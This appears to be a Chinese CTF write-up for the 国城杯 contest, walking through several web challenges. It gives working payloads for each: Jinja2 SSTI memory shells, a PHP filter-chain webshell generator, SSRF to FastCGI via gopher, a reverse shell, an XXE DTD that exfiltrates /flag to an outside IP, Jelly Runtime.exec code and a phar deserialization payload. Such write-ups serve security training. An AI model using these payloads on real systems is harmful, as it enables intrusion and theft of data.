国城杯wp

密码爆破，验证码不用变

admin/123456

登录成功之后发现

任意一幅画file参数存在任意文件读取

image-20241209102045898

之前好像做过类似的

攻防世界的catcat-new

获取当前启动进程的完整命令

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/proc/self/cmdline

image-20241209102313238

获取到当前页面的运行路径

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/app/app.py

读取响应文件，得到源码

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from pyramid.config import Configurator
from pyramid.httpexceptions import HTTPFound
from pyramid.response import Response
from pyramid.session import SignedCookieSessionFactory
from wsgiref.simple_server import make_server
from Captcha import captcha_image_view, captcha_store
import re
import os

class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password

users = {"admin": User("admin", "123456")}

def root_view(request):
    # 重定向到 /login
    return HTTPFound(location='/login')

def info_view(request):
    # 查看细节内容
    if request.session.get('username') != 'admin':
        return Response("请先登录", status=403)

    file_name = request.params.get('file')
    file_base, file_extension = os.path.splitext(file_name)
    if file_name:
        file_path = os.path.join('/app/static/details/', file_name)
        try:
            with open(file_path, 'r', encoding='utf-8') as f:
                content = f.read()
                print(content)
        except FileNotFoundError:
            content = "文件未找到。"
    else:
        content = "未提供文件名。"

    return {'file_name': file_name, 'content': content, 'file_base': file_base}

def home_view(request):
    # 主路由
    if request.session.get('username') != 'admin':
        return Response("请先登录", status=403)

    detailtxt = os.listdir('/app/static/details/')
    picture_list = [i[:i.index('.')] for i in detailtxt]
    file_contents = {}
    for picture in picture_list:
        with open(f"/app/static/details/{picture}.txt", "r", encoding='utf-8') as f:
            file_contents[picture] = f.read(80)

    return {'picture_list': picture_list, 'file_contents': file_contents}

def login_view(request):
    if request.method == 'POST':
        username = request.POST.get('username')
        password = request.POST.get('password')
        user_captcha = request.POST.get('captcha', '').upper()

        if user_captcha != captcha_store.get('captcha_text', ''):
            return Response("验证码错误，请重试。")
        user = users.get(username)
        if user and user.password == password:
            request.session['username'] = username
            return Response("登录成功！<a href='/home'>点击进入主页</a>")
        else:
            return Response("用户名或密码错误。")
    return {}

def shell_view(request):
    if request.session.get('username') != 'admin':
        return Response("请先登录", status=403)

    expression = request.GET.get('shellcmd', '')
    blacklist_patterns = [r'.*length.*',r'.*count.*',r'.*[0-9].*',r'.*\..*',r'.*soft.*',r'.*%.*']
    if any(re.search(pattern, expression) for pattern in blacklist_patterns):
        return Response('wafwafwaf')
    try:
        result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})
        if result != None:
            return Response('success')
        else:
            return Response('error')
    except Exception as e:
        return Response('error')


def main():
    session_factory = SignedCookieSessionFactory('secret_key')
    with Configurator(session_factory=session_factory) as config:
        config.include('pyramid_chameleon')  # 添加渲染模板
        config.add_static_view(name='static', path='/app/static')
        config.set_default_permission('view')  # 设置默认权限为view

        # 注册路由
        config.add_route('root', '/')
        config.add_route('captcha', '/captcha')
        config.add_route('home', '/home')
        config.add_route('info', '/info')
        config.add_route('login', '/login')
        config.add_route('shell', '/shell')
        # 注册视图
        config.add_view(root_view, route_name='root')
        config.add_view(captcha_image_view, route_name='captcha')
        config.add_view(home_view, route_name='home', renderer='home.pt', permission='view')
        config.add_view(info_view, route_name='info', renderer='details.pt', permission='view')
        config.add_view(login_view, route_name='login', renderer='login.pt')
        config.add_view(shell_view, route_name='shell', renderer='string', permission='view')

        config.scan()
        app = config.make_wsgi_app()
        return app


if __name__ == "__main__":
    app = main()
    server = make_server('0.0.0.0', 6543, app)
    server.serve_forever()

审计了一下，下一步应该要走shell路由rce了，jinjia2的ssti

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blacklist_patterns = [r'.*length.*',r'.*count.*',r'.*[0-9].*',r'.*\..*',r'.*soft.*',r'.*%.*']

考虑打内存马，但是添加路由的 config 变量是局部变量，所以考虑其他和 config 无关的钩子函数，参考： https://docs.pylonsproject.org/projects/pyramid/en/1.4-branch/narr/hooks.html，

利用 request.add_response_callback 钩子函数进行回显，构造

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{{cycler.__init__.__globals__.__builtins__['exec']
 ("request.add_response_callback(lambda request, response: setattr(response, 
'text', __import__('os').popen('whoami').read()))",{'request': request})}}

绕过点

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{{cycler['__init__']['__globals__']['__builtins__']['exec']("getattr(request,'add_response_callback')(lambda request, response:setattr(response, 'text', getattr(getattr(__import__('os'),'popen')('/readflag'),'read')()))",{'request': request})}}

也可以参考之前的 flask 框架的请
求头回显，这里原理也是一样的，简单追踪发现请求头内容主要在 ServerHandler 类中，构造 paylaod
 {{cycler['__init__']['__globals__']['__builtins__']['setattr'](cycler['__init__']['__globals__']['__builtins__']['__import__']('sys')['modules']['wsgiref']['simple_server']['ServerHandler'],'http_version',cycler['__init__']['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read']())}}

signal

先扫目录，扫到一个index.php.swp

wsl看了之后，给了一对用户名密码

image-20241209111656411

guest/MyF3iend

登陆之后这明显存在文件包含或者文件读取

http://125.70.243.22:31762/guest.php?path=/tmp/hello.php

换路径之后，确定大概率是Include，包含guest.php后会卡死崩溃

读/flag会有个假flag

利用伪协议读取源码，二次编码绕过

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php://filter/%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=guest.php
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<?php
session_start();
error_reporting(0);

if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'guest' ) {
    $_SESSION['error'] = 'Please fill in the username and password';
    header('Location: index.php');
    exit();
}

if (!isset($_GET['path'])) {
    header("Location: /guest.php?path=/tmp/hello.php");
    exit;
}

$path = $_GET['path'];
if (preg_match('/(\.\.\/|php:\/\/tmp|string|iconv|base|rot|IS|data|text|plain|decode|SHIFT|BIT|CP|PS|TF|NA|SE|SF|MS|UCS|CS|UTF|quoted|log|sess|zlib|bzip2|convert|JP|VE|KR|BM|ISO|proc|\_)/i', $path)) {
    echo "Don't do this";
}else{
    include($path);
}

?>

admin.php

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<?php
session_start();
error_reporting(0);

if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'admin') {
    $_SESSION['error'] = 'Please fill in the username and password';
    header("Location: index.php");
    exit();
}

$url = $_POST['url'];
$error_message = '';
$page_content = '';

if (isset($url)) {
    if (!preg_match('/^https:\/\//', $url)) {
        $error_message = 'Invalid URL, only https allowed';
    } else {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        $page_content = curl_exec($ch);
        if ($page_content === false) {
            $error_message = 'Failed to fetch the URL content';
        }
        curl_close($ch);
    }
}
?>

前面发现还有一个文件StoredAccounts.php

image-20241209112752097

StoredAccounts.php

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<?php
session_start();

$users = [
    'admin' => 'FetxRuFebAdm4nHace',
    'guest' => 'MyF3iend'
];

if (isset($_POST['username']) && isset($_POST['password'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];

    if (isset($users[$username]) && $users[$username] === $password) {
        $_SESSION['logged_in'] = true;
        $_SESSION['username'] = $username;

        if ($username === 'admin') {
            header('Location: admin.php');
        } else {
            header('Location: guest.php');
        }
        exit();
    } else {
        $_SESSION['error'] = 'Invalid username or password';
        header('Location: index.php');
        exit();
    }
} else {
    $_SESSION['error'] = 'Please fill in the username and password';
    header('Location: index.php');
    exit();
}

拿到admin的密码

admin/FetxRuFebAdm4nHace

登录上之后

image-20241209155043330

需要打ssrf，结合题目描述，ssrf打fastcgi

他要求不是https嘛

服务器配置一个caddy自动配置https

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caddy start --config /etc/caddy/Caddyfile --adapter caddyfile

image-20241209161415005

利用gopher

image-20241209161554230

配置app.py

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from flask import Flask, redirect

app = Flask(__name__)

@app.route('/')
def indexRedirect():
    redirectUrl = ('gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00')
    return redirect(redirectUrl)

if __name__ == '__main__':
    app.run('0.0.0.0', port=8080, debug=True)

image-20241209161424636

发现成功可以

image-20241209161526532

反弹shell

image-20241209162341722

image-20241209162513234

寻找flag

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find / -name *flag*

image-20241209162542078

找到flag，但是要提权

image-20241209162618579

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sudo -l

image-20241209162639551

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sudo /bin/cat /tmp/whereflag/../../../../root/flag

image-20241209162807794

非预期做法

看晨曦佬在群里发的非预期，用filter链

在二次编码读文件内容哪里例题利用filter进行rce

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<?php
$base64_payload = "PD89YCRfUE9TVFsxXWA7Pz4="; /*<?=`$_POST[1]`;?>*/
$conversions = array(
    '/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    '1' => 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
    '2' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
    '3' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
    '5' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE',
    '6' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'A' => 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    'E' => 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
    'F' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
    'G' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
    'H' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
    'I' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
    'J' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
    'K' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
    'L' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
    'M' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
    'N' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
    'O' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
    'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'Q' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
    'R' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
    'S' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
    'T' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'V' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
    'W' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'X' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
    'Y' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
    'Z' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
    'a' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
    'b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
    'c' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'e' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
    'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
    'h' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
    'i' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
    'j' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
    'k' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
    'l' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
    'm' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
    'n' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
    'o' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
    'p' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
    'q' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
    'r' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
    's' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
    't' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
    'u' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
    'v' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932',
    'w' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
    'x' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
    'y' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
    'z' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}

$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=index.php";
echo($final_payload);


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text="php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7||convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=index.php"
a = "string|iconv|base|rot|IS|data|text|plain|decode|SHIFT|BIT|CP|PS|TF|NA|SE|SF|MS|UCS|CS|UTF|quoted|log|sess|zlib|bzip2|convert|JP|VE|KR|BM|ISO|proc|_|ve|se"
a = a.split('|')
for i in a:
 tmp = i[0]
 tmp = hex(ord(tmp))[2:]
 tmp = '%25'+tmp+i[1:]
 # print(tmp)
 if i in text:
    text = text.replace(i,tmp)
print(text)

image-20241209170057308

之后写马反弹shell都可了

只能说晨曦师傅nb，filter让他玩的太6了

Easy Jelly

image-20241209172634954

通过看源码发现会调用DocumentBuilderFactory对xml文件进行一顿解析

主要就是对xml文档中的一些参数进行解析

使用 Document 对象的 getElementsByTagNameNS 方法来检查 XML 文档中是否存在特定的标签。

通过了才会解析这个xml文件，解析的时候用到了jelly模版

存在xml漏洞

1.xml

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<?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE root [
 <!ENTITY % file SYSTEM "file:///flag">
 <!ENTITY % dtd SYSTEM "http://140.143.143.130:8080/1.dtd">
 %dtd;
 %data;
 ]>
 <root>
 </root>

1.dtd

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<!ENTITY % exp "<!ENTITY &#x25; data SYSTEM 'http://140.143.143.130:8080/?%file;'>">
%exp;

/jelly?uri=http://140.143.143.130:8080/1.xml

触发

image-20241209173722539

贴个官方wp

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?xml version="1.0" encoding="utf-8"?>
 <j:jelly xmlns:j="jelly:core">
 <j:getStatic var="str" 
className="org.apache.commons.jelly.servlet.JellyServlet" field="REQUEST"/>
 <j:break test="${str
 .class
 .forName('javax.script.ScriptEngineManager').newInstance()
 .getEngineByName('js')
 .eval('java.lang.Runtime.getRuntime().exec(&quot; open -a Calculator 
&quot;)')}"></j:break>
 </j:jelly>
 or
 <?xml version="1.0" encoding="utf-8"?>
 <j:jelly xmlns:j="jelly:core">
 <j:getStatic var="str" 
className="org.apache.commons.jelly.servlet.JellyServlet" field="REQUEST"/>
 <j:whitespace>${str
 .class
 .forName('javax.script.ScriptEngineManager').newInstance()
 .getEngineByName('js')
 .eval('java.lang.Runtime.getRuntime().exec(&quot; open -a Calculator 
&quot;)')}</j:whitespace>
 </j:jelly>

n0ob_un4er

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 <?php
$SECRET  = `/readsecret`;
include "waf.php";
class User {
    public $role;
    function __construct($role) {
        $this->role = $role;
    }
}
class Admin{
    public $code;
    function __construct($code) {
        $this->code = $code;
    }
    function __destruct() {
        echo "Admin can play everything!";
        eval($this->code);
    }
}
function game($filename) {
    if (!empty($filename)) {
        if (waf($filename) && @copy($filename , "/tmp/tmp.tmp")) {
            echo "Well done!";
        } else {
            echo "Copy failed.";
        }
    } else {
        echo "User can play copy game.";
    }
}
function set_session(){
    global $SECRET;
    $data = serialize(new User("user"));
    $hmac = hash_hmac("sha256", $data, $SECRET);
    setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
function check_session() {
    global $SECRET;
    $data = $_COOKIE["session-data"];
    list($data, $hmac) = explode("-----", $data, 2);
    if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac) || !hash_equals(hash_hmac("sha256", $data, $SECRET), $hmac)) {
        die("hacker!");
    }
    $data = unserialize($data);
    if ( $data->role === "user" ){
        game($_GET["filename"]);
    }else if($data->role === "admin"){
        return new Admin($_GET['code']);
    }
    return 0;
}
if (!isset($_COOKIE["session-data"])) {
    set_session();
    highlight_file(__FILE__);
}else{
    highlight_file(__FILE__);
    check_session();
}

这题和hitcon2017 Baby^h-master-php-2017 题目有些相似

https://xz.aliyun.com/t/1773/?time__1311=7qAODKiKYvwbDs5YYK0%3DjM7jDu0SfeD&u_atoken=c12027a765b7829b8fefcf45d169b483&u_asig=0a472f8317337398239185523e003d

先分析一下代码逻辑吧

会对传入的session进行检查，通过检查会进行反序列化，session这里用的是hmacsha256算法，没法可控，

在copy方法处存在phar反序列化（2019年强网杯有），有waf但也看不到waf了啥

打phar得有文件上传，但这没有，只能将文件内容编辑成字符串穿进去了

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<?php
highlight_file(__FILE__);
class Admin{
    public $code;
}
@unlink('test.phar');
$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$o=new Admin();
$o ->code="system('/readflag');";
$phar->setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>

编辑命令

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cat test.phar | base64 -w0 | python3 -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
1
=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=74=00=41=00=41=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=33=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=42=00=5A=00=47=00=31=00=70=00=62=00=69=00=49=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=52=00=6C=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=49=00=77=00=4F=00=69=00=4A=00=7A=00=65=00=58=00=4E=00=30=00=5A=00=57=00=30=00=6F=00=4A=00=79=00=39=00=79=00=5A=00=57=00=46=00=6B=00=5A=00=6D=00=78=00=68=00=5A=00=79=00=63=00=70=00=4F=00=79=00=49=00=37=00=66=00=51=00=67=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=52=00=34=00=64=00=41=00=51=00=41=00=41=00=41=00=42=00=62=00=30=00=46=00=5A=00=6E=00=42=00=41=00=41=00=41=00=41=00=41=00=78=00=2B=00=66=00=39=00=69=00=32=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=53=00=4A=00=63=00=45=00=71=00=53=00=37=00=71=00=42=00=4D=00=4E=00=6B=00=55=00=79=00=61=00=65=00=70=00=79=00=55=00=38=00=46=00=77=00=39=00=66=00=47=00=65=00=72=00=77=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00

session文件写入的时候会有垃圾数据产生，我们需要消除垃圾数据，需要使用base64进行消除

前面的”upload_progress_”一共有14位,经过fuzz我们只要在后面添加两个字符”ZZ”，进行3次base64解 码就能被刚好消掉。

这题还有一个细节，是如果我们要先进行3次base64解码来消去垃圾数据，那么我们编码后的 phar文件就还需要连续进行3次base64编码，由于base64解码的特性，如果被解码的字符串中出现 了”=”就会解码失败，所以我们还要对payload填充一下位数，使之连续3次base64编码都不会出现”=”,就 需要满足位数为3^3的倍数 原本的payload是1392位，需要填充12位再进行连续3次base64编码

1
